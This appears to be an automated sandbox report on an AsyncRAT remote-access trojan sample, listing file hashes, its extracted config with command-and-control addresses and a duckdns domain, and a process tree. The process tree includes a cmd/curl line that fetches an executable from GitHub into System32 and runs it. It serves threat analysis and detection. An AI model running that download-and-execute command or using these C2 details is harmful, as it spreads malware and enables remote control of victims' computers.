asyncrat | 0133bd25af53905513b2123f49e8de6dcb7a2c8c4021b444e1f557b5462f8f31

Analysis

max time kernel
94s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-12-2024 05:17

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General

Target

0133bd25af53905513b2123f49e8de6dcb7a2c8c4021b444e1f557b5462f8f31.exe
Size

573KB
MD5

c39b2855ca915b631eda59221242a492
SHA1

0e8c5d616d5cf17b0dcc891044e67770d1b8f28c
SHA256

0133bd25af53905513b2123f49e8de6dcb7a2c8c4021b444e1f557b5462f8f31
SHA512

a209d2fb399fd847197d8f901222d45a93a76868081dcce0d91ad2ed618e15b5d5b88ff0db2534b280d469e082fba11abbe4e10c53d9af09a6a2eda7fb0a481b
SSDEEP

12288:gD+ImWu7YOwR+7Wq+kIN0xkGtxCtq30JCSHvi7oA:gDKWu/w47WRoxkG7Cs30pi71

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

127.0.0.1:2035

147.185.221.16:2035

147.185.221.19:2035

121637121.duckdns.org:2035

Mutex

I8EJ82H739UG

Attributes

delay
1
install
true
install_file
Update.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0008000000023c83-2.dat	family_asyncrat

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1596	kerneldat234.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
5	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\Tasks\kerneldat234.exe	curl.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 728 wrote to memory of 3884	728	0133bd25af53905513b2123f49e8de6dcb7a2c8c4021b444e1f557b5462f8f31.exe	84
PID 728 wrote to memory of 3884	728	0133bd25af53905513b2123f49e8de6dcb7a2c8c4021b444e1f557b5462f8f31.exe	84
PID 3884 wrote to memory of 2340	3884	cmd.exe	85
PID 3884 wrote to memory of 2340	3884	cmd.exe	85
PID 3884 wrote to memory of 1596	3884	cmd.exe	86
PID 3884 wrote to memory of 1596	3884	cmd.exe	86

C:\Users\Admin\AppData\Local\Temp\0133bd25af53905513b2123f49e8de6dcb7a2c8c4021b444e1f557b5462f8f31.exe
"C:\Users\Admin\AppData\Local\Temp\0133bd25af53905513b2123f49e8de6dcb7a2c8c4021b444e1f557b5462f8f31.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://raw.githubusercontent.com/SkarSys/Vane.cc-Skar-Fortnite-self-leak/main/um/AUTH/kdmapper.exe --output C:\Windows\System32\Tasks\kerneldat234.exe >nul 2>&1 && C:\Windows\System32\Tasks\kerneldat234.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3884
- - C:\Windows\system32\curl.exe
    curl https://raw.githubusercontent.com/SkarSys/Vane.cc-Skar-Fortnite-self-leak/main/um/AUTH/kdmapper.exe --output C:\Windows\System32\Tasks\kerneldat234.exe
    3⤵
    - Drops file in System32 directory
    PID:2340
- - C:\Windows\System32\Tasks\kerneldat234.exe
    C:\Windows\System32\Tasks\kerneldat234.exe
    3⤵
    - Executes dropped EXE
    PID:1596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Windows\System32\Tasks\kerneldat234.exe

Filesize
48KB

MD5
a64c195587c96e2d3dabe451e7ebb496

SHA1
56b34ea8794487287f4d13708c56e46012417e9b

SHA256
f879d638d1ff0dd11471d38f62361315bb43b77d3605ec9ff67b149f435dadcc

SHA512
b9b600898e094832cd598182002fddab9506166fc9104994651aa83b8c96f7339901fec258978ecaafce393ac6c453280ccf22061b40839703d1760a6f3108cd

Download Submit
memory/1596-4-0x00007FF9E2373000-0x00007FF9E2375000-memory.dmp

Filesize
8KB

Download
memory/1596-5-0x0000000000290000-0x00000000002A2000-memory.dmp

Filesize
72KB

Download
memory/1596-6-0x00007FF9E2370000-0x00007FF9E2E31000-memory.dmp

Filesize
10.8MB

Download
memory/1596-7-0x00007FF9E2370000-0x00007FF9E2E31000-memory.dmp

Filesize
10.8MB

Download